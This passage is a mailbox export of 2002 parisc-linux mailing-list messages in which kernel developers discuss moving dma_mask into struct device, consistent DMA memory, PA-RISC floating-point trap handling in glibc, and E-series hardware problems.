Greg KH wrote:
> Are there any existing archs that need more than just dma_mask moved to
> struct device out of pci_dev?  Hm, ppc might need a bit more...

"out of pci_dev" and into struct device?
I think that's all parisc port would need now.

At some point I'd like to propose "dma_hint" field.
But I don't have a specific proposal yet.
Something to help drivers communicate DMA characteristics to
the IOMMU support code. ie bandwidth needed, cacheline line aware,
MWLI support, etc.

grant


From - Thu Nov 08 21:25:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device interface
Date: Wed, 13 Nov 2002 13:13:57 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20021113201357.5302F4829__43794.6295286112$1416621925$gmane$org@dsl2.external.hp.com>
References: <20021109060342.GA7798@kroah.com> <200211091533.gA9FXuW02017@localhost.localdomain> <20021113061310.GD2106@kroah.com> <buon0odsyh9.fsf@mcspd15.ucom.lsi.nec.co.jp> <20021113075223.GZ2106@kroah.com>  <buoisz1sxr4.fsf@mcspd15.ucom.lsi.nec.co.jp>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621925 16919 80.91.229.3 (22 Nov 2014 02:05:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:25 +0000 (UTC)
Cc: Greg KH <greg@kroah.com>,
	"J.E.J. Bottomley" <James.Bottomley@steeleye.com>,
	Matthew Wilcox <willy@debian.org>,
	"Adam J. Richter" <adam@yggdrasil.com>, andmike@us.ibm.com,
	hch@lst.de, linux-kernel@vger.kernel.org, mochel@osdl.org,
	parisc-linux@lists.parisc-linux.org
To: Miles Bader <miles@gnu.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 13:13:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 5302F4829; Wed, 13 Nov 2002 13:13:57 -0700 (MST)
In-Reply-To: Message from Miles Bader <miles@lsi.nec.co.jp> 
   of "13 Nov 2002 17:02:39 +0900." <buoisz1sxr4.fsf@mcspd15.ucom.lsi.nec.co.jp> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16792

Miles Bader wrote:
> I can't speak for `real machines,' but on my wierd embedded board,
> pci_alloc_consistent allocates from a special area of memory (not
> located at 0) that is the only shared memory between PCI devices and the
> CPU.  pci_alloc_consistent happens to fit this situation quite well, but
> I don't think a bitmask is enough to express the situation.

HP PARISC V-Class do that as well. The "consistent" memory lives
on the PCI Bus Controller - not in host mem.
Note that parisc-linux does not (yet) support V-class.

grant


From - Thu Nov 08 21:25:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Wed, 13 Nov 2002 15:16:57 -0500 (EST)
Lines: 45
Approved: news@gmane.org
Message-ID: <200211132016.gADKGvZW008449@hiauly1.hia.nrc.ca>
References: <20021113192210.GC4970@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621926 16920 80.91.229.3 (22 Nov 2014 02:05:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, tausq@debian.org,
	jim_hull@hp.com
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 13:17:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8817F4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 13:17:04 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gADKGwot008451;
	Wed, 13 Nov 2002 15:16:59 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gADKGvZW008449;
	Wed, 13 Nov 2002 15:16:57 -0500 (EST)
In-Reply-To: <20021113192210.GC4970@systemhalted> from "Carlos O'Donell" at Nov 13, 2002 02:22:10 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16793

> On Tue, Nov 12, 2002 at 10:44:07AM -0500, John David Anglin wrote:
> > > > __asm__ __volatile__ ("fmpy,dbl %1,%%fr0,%0\n\t"
> > > > 			/* FIXME: is this a proper trap barrier? */
> > > > 			"fcpy,dbl %%fr0,%%fr0" : "=f" (d) : "0"(d));
> 
> So really the fix is to spill into a third register or a memory location
> in order to:
> 
> 1) Prevent reordering and subsequent discard of the insn
> 2) Trigger the trap since the result of the register is needed

That's the general idea.  However, fcpy won't always trigger
the trap as the T bit may not be set when it executes even if it
depends on the exception generating instruction.  You have to use
a load or store to %0, or a load or store to %1, or a fcmp,ftest,nop
sequence that depends on the exception generating instruction.
You don't actually have to spill the result.  For example, a
"fldd 0(%%sp),%0" or "fldd 0(%%sp),%1" should raise the exception.
The stack pointer should always be sufficiently aligned.

> 2) Clear T by reading fr0 and writing back with T=0
> 	= All other pending delayed exceptions are nulled

I would suggest saving the whole state.  Reading fr0 with
a double word store will automatically clear T.  I believe
that there is a function do to that.  You might then clear
the exception registers and set the status register to a
state with the exception enables appropriately set.  If you
are paranoid, you could set the enable for just the exception
that you want to raise at each step.

> 3) Setup an exception to occur based on requirements
> 	= insn writes to dX
> 4) Trap barrier
> 	= insn where dX is copied to dY (dX!=dY)

The state can be restored at the end.  I am not quite sure
what is required at this point.  Should the function remove
any or all pending exceptions?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device interface
Date: Wed, 13 Nov 2002 13:37:09 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20021113203709.2C61B4829__38067.9655856968$1416621926$gmane$org@dsl2.external.hp.com>
References: <200211132021.gADKL8r02349@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621926 16923 80.91.229.3 (22 Nov 2014 02:05:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:26 +0000 (UTC)
Cc: Miles Bader <miles@gnu.org>, Greg KH <greg@kroah.com>,
	Matthew Wilcox <willy@debian.org>,
	"Adam J. Richter" <adam@yggdrasil.com>, andmike@us.ibm.com,
	hch@lst.de, linux-kernel@vger.kernel.org, mochel@osdl.org,
	parisc-linux@lists.parisc-linux.org
To: "J.E.J. Bottomley" <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 13:37:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 2C61B4829; Wed, 13 Nov 2002 13:37:09 -0700 (MST)
In-Reply-To: Message from "J.E.J. Bottomley" <James.Bottomley@steeleye.com> 
   of "Wed, 13 Nov 2002 15:21:07 EST." <200211132021.gADKL8r02349@localhost.localdomain> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16794

"J.E.J. Bottomley" wrote:
> Actually, I think dma_mask and consistent memory are orthogonal problems.  

No. consistent memory needs to be reachable by the device as well.
dma_mask constrains which memory pci_alloc_consistent() can use.

> dma_masks are used by the I/O subsystem to determine whether direct DMA to a 
> memory region containing an I/O buffer is possible or whether it has to be 
> bounced.  Consistent memory is usually allocated for driver specific 
> transfers.  The I/O subsystem doesn't usually require the actual I/O buffers 
> to be in consistent memory.

right.

grant


From - Thu Nov 08 21:25:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "J.E.J. Bottomley" <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device 
 interface
Date: Wed, 13 Nov 2002 15:21:07 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <200211132021.gADKL8r02349__20220.5746820711$1416621926$gmane$org@localhost.localdomain>
References: <grundler@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621926 16928 80.91.229.3 (22 Nov 2014 02:05:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:26 +0000 (UTC)
Cc: Miles Bader <miles@gnu.org>, Greg KH <greg@kroah.com>,
	"J.E.J. Bottomley" <James.Bottomley@SteelEye.com>,
	Matthew Wilcox <willy@debian.org>,
	"Adam J. Richter" <adam@yggdrasil.com>, andmike@us.ibm.com,
	hch@lst.de, linux-kernel@vger.kernel.org, mochel@osdl.org,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 13:21:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pogo.mtv1.steeleye.com (host194.steeleye.com [66.206.164.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id B48FF4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 13:21:26 -0700 (MST)
Original-Received: (from root@localhost)
	by pogo.mtv1.steeleye.com (8.9.3/8.9.3) id MAA00377
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 12:21:22 -0800
Original-Received: from localhost.localdomain (vpn-233.mtv1.steeleye.com [172.16.1.233])
	by pogo.mtv1.steeleye.com (8.9.3/8.9.3) with ESMTP id MAA32654;
	Wed, 13 Nov 2002 12:21:14 -0800
Original-Received: from mulgrave (jejb@localhost)
	by localhost.localdomain (8.11.6/linuxconf) with ESMTP id gADKL8r02349;
	Wed, 13 Nov 2002 15:21:08 -0500
X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4
In-Reply-To: Message from Grant Grundler <grundler@dsl2.external.hp.com> 
   of "Wed, 13 Nov 2002 13:13:57 MST." <20021113201357.5302F4829@dsl2.external.hp.com> 
X-AntiVirus: scanned for viruses by AMaViS 0.2.1 (http://amavis.org/)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16795

Miles Bader wrote:
> I can't speak for `real machines,' but on my wierd embedded board,
> pci_alloc_consistent allocates from a special area of memory (not
> located at 0) that is the only shared memory between PCI devices and the
> CPU.  pci_alloc_consistent happens to fit this situation quite well, but
> I don't think a bitmask is enough to express the situation.

grundler@dsl2.external.hp.com said:
> HP PARISC V-Class do that as well. The "consistent" memory lives on
> the PCI Bus Controller - not in host mem. Note that parisc-linux does
> not (yet) support V-class. 

Actually, I think dma_mask and consistent memory are orthogonal problems.  
dma_masks are used by the I/O subsystem to determine whether direct DMA to a 
memory region containing an I/O buffer is possible or whether it has to be 
bounced.  Consistent memory is usually allocated for driver specific 
transfers.  The I/O subsystem doesn't usually require the actual I/O buffers 
to be in consistent memory.

James




From - Thu Nov 08 21:25:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device interface
Date: Wed, 13 Nov 2002 13:33:21 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <20021113203321.DCF174829__29068.2784784169$1416621927$gmane$org@dsl2.external.hp.com>
References: <200211131723.gADHNmp02426@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621927 16929 80.91.229.3 (22 Nov 2014 02:05:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:27 +0000 (UTC)
Cc: Bjorn Helgaas <bjorn_helgaas@hp.com>, Greg KH <greg@kroah.com>,
	Miles Bader <miles@gnu.org>,
	"J.E.J. Bottomley" <James.Bottomley@steeleye.com>,
	Matthew Wilcox <willy@debian.org>,
	"Adam J. Richter" <adam@yggdrasil.com>, andmike@us.ibm.com,
	hch@lst.de, linux-kernel@vger.kernel.org, mochel@osdl.org,
	parisc-linux@lists.parisc-linux.org
To: "J.E.J. Bottomley" <James.Bottomley@HansenPartnership.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 13:33:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id DCF174829; Wed, 13 Nov 2002 13:33:21 -0700 (MST)
In-Reply-To: Message from "J.E.J. Bottomley" <James.Bottomley@HansenPartnership.com> 
   of "Wed, 13 Nov 2002 12:23:48 EST." <200211131723.gADHNmp02426@localhost.localdomain> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16796

"J.E.J. Bottomley" wrote:
> We should also allow devices to do all the setup through bus generic 
> functions, but leave open the possibility that the driver may (once it knows 
> the bus type) obtain the pci_dev (or whatever) from the struct device if it 
> really, really has to muck with bus specific registers.

For device discovery and initialization, the generic PCI code has to muck
with PCI specific resources (IO Port, MMIO, and IRQ related stuff primarily).

> As far as the SCSI mid layer goes, all we really need from struct device is 
> the dma_mask for setting up the I/O bounce buffers.
> 
> The simplest way to do all of this is probably to add a pointer to the 
> dma_mask in struct device and make it point to the same thing in pci_dev.
> If we find we need more than this per device, it could become a pointer
> to a generic dma information structure later on.

uhmm...If we are going to touch dma_mask in pci_dev, then just move it
to struct device and be done with it. Then fixup pci_set_dma_mask()
to do the right thing.

...
> Since the 53c700 is also used by parisc (including some machines with 
> IOMMUs---which, unfortunately, I don't have access to), it probably makes an 
> ideal conversion test case.

Duck! (that's going to get fixed it seems) ;^)

thanks,
grant


From - Thu Nov 08 21:25:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "J.E.J. Bottomley" <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device 
 interface
Date: Wed, 13 Nov 2002 15:44:17 -0500
Lines: 34
Approved: news@gmane.org
Message-ID: <200211132044.gADKiHi02548__614.012606865977$1416621927$gmane$org@localhost.localdomain>
References: <grundler@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621927 16932 80.91.229.3 (22 Nov 2014 02:05:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:27 +0000 (UTC)
Cc: Bjorn Helgaas <bjorn_helgaas@hp.com>, Greg KH <greg@kroah.com>,
	Miles Bader <miles@gnu.org>,
	"J.E.J. Bottomley" <James.Bottomley@SteelEye.com>,
	Matthew Wilcox <willy@debian.org>,
	"Adam J. Richter" <adam@yggdrasil.com>, andmike@us.ibm.com,
	hch@lst.de, linux-kernel@vger.kernel.org, mochel@osdl.org,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 13:44:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pogo.mtv1.steeleye.com (host194.steeleye.com [66.206.164.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 63A5D4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 13:44:36 -0700 (MST)
Original-Received: (from root@localhost)
	by pogo.mtv1.steeleye.com (8.9.3/8.9.3) id MAA06734
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 12:44:32 -0800
Original-Received: from localhost.localdomain (vpn-233.mtv1.steeleye.com [172.16.1.233])
	by pogo.mtv1.steeleye.com (8.9.3/8.9.3) with ESMTP id MAA06640;
	Wed, 13 Nov 2002 12:44:21 -0800
Original-Received: from mulgrave (jejb@localhost)
	by localhost.localdomain (8.11.6/linuxconf) with ESMTP id gADKiHi02548;
	Wed, 13 Nov 2002 15:44:17 -0500
X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4
In-Reply-To: Message from Grant Grundler <grundler@dsl2.external.hp.com> 
   of "Wed, 13 Nov 2002 13:33:21 MST." <20021113203321.DCF174829@dsl2.external.hp.com> 
X-AntiVirus: scanned for viruses by AMaViS 0.2.1 (http://amavis.org/)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16797

grundler@dsl2.external.hp.com said:
> For device discovery and initialization, the generic PCI code has to
> muck with PCI specific resources (IO Port, MMIO, and IRQ related stuff
> primarily). 

Oh, I agree.  If we conduct a phased approach to this, what happens initially 
is that the pci drivers simply pull pci_dev out of the struct device and use 
it as previously.

However, I think the ultimate destination is to see how much of the bus 
specific stuff we can abstract by throwing an API around it.  I think IRQ, 
port and mmio are feasible.  Specific knowledge of bus posting et al may not 
be.

> uhmm...If we are going to touch dma_mask in pci_dev, then just move it
> to struct device and be done with it. Then fixup pci_set_dma_mask() to
> do the right thing. 

Well...OK.  The advantage of a pointer in struct device is that the code can 
be converted as is, and no-one has to muck with the direct accessors of the 
pci_dev->dma_mask.  However, I'll see how many of them there actually are, its 
probably just the drivers that transfer the information to 
blk_queue_bounce_limit.

> Duck! (that's going to get fixed it seems) ;^) 

I thought the 53c700 was working OK?  Richard Hirst did some extensive testing 
on a parisc with an IO-MMU for me (he caught a lot of early mapping leaks 
which I fixed).

James




From - Thu Nov 08 21:25:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ? New status of MUX or SCSI driver on E-series (and other...)
Date: Wed, 13 Nov 2002 22:32:21 +0100
Organization: private
Lines: 23
Approved: news@gmane.org
Message-ID: <3DD2C4E5.7000001@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621927 16934 80.91.229.3 (22 Nov 2014 02:05:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:27 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 14:26:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep12-int.chello.at (viefep12-int.chello.at [213.46.255.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8978E482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 14:26:26 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep12-int.chello.at
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20021113212621.SISL4035.viefep12-int.chello.at@gmx.at>
          for <parisc-linux@lists.parisc-linux.org>;
          Wed, 13 Nov 2002 22:26:21 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020830
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16798

After such long time, I want to ask, if there any news?

Where there experiences (with logic analysator, etc...), if the
SCSI chip is accessed ?

Are there any news in accessing another port then port "0" on the
MUX. My experiments using "only" port "1" was also not successful,
the machine blocks !

Perhaps the PDC ROM setup influences the MUX device.

Answer is welcome.
Christoph




-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at



From - Thu Nov 08 21:25:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device interface
Date: Wed, 13 Nov 2002 14:42:15 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20021113214215.AD0494829__18781.5205114477$1416621928$gmane$org@dsl2.external.hp.com>
References: <200211132044.gADKiHi02548@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621928 16936 80.91.229.3 (22 Nov 2014 02:05:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:28 +0000 (UTC)
Cc: Bjorn Helgaas <bjorn_helgaas@hp.com>, Greg KH <greg@kroah.com>,
	Miles Bader <miles@gnu.org>, Matthew Wilcox <willy@debian.org>,
	"Adam J. Richter" <adam@yggdrasil.com>, andmike@us.ibm.com,
	linux-kernel@vger.kernel.org, mochel@osdl.org,
	parisc-linux@lists.parisc-linux.org
To: "J.E.J. Bottomley" <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 14:42:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id AD0494829; Wed, 13 Nov 2002 14:42:15 -0700 (MST)
In-Reply-To: Message from "J.E.J. Bottomley" <James.Bottomley@steeleye.com> 
   of "Wed, 13 Nov 2002 15:44:17 EST." <200211132044.gADKiHi02548@localhost.localdomain> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16799

"J.E.J. Bottomley" wrote:
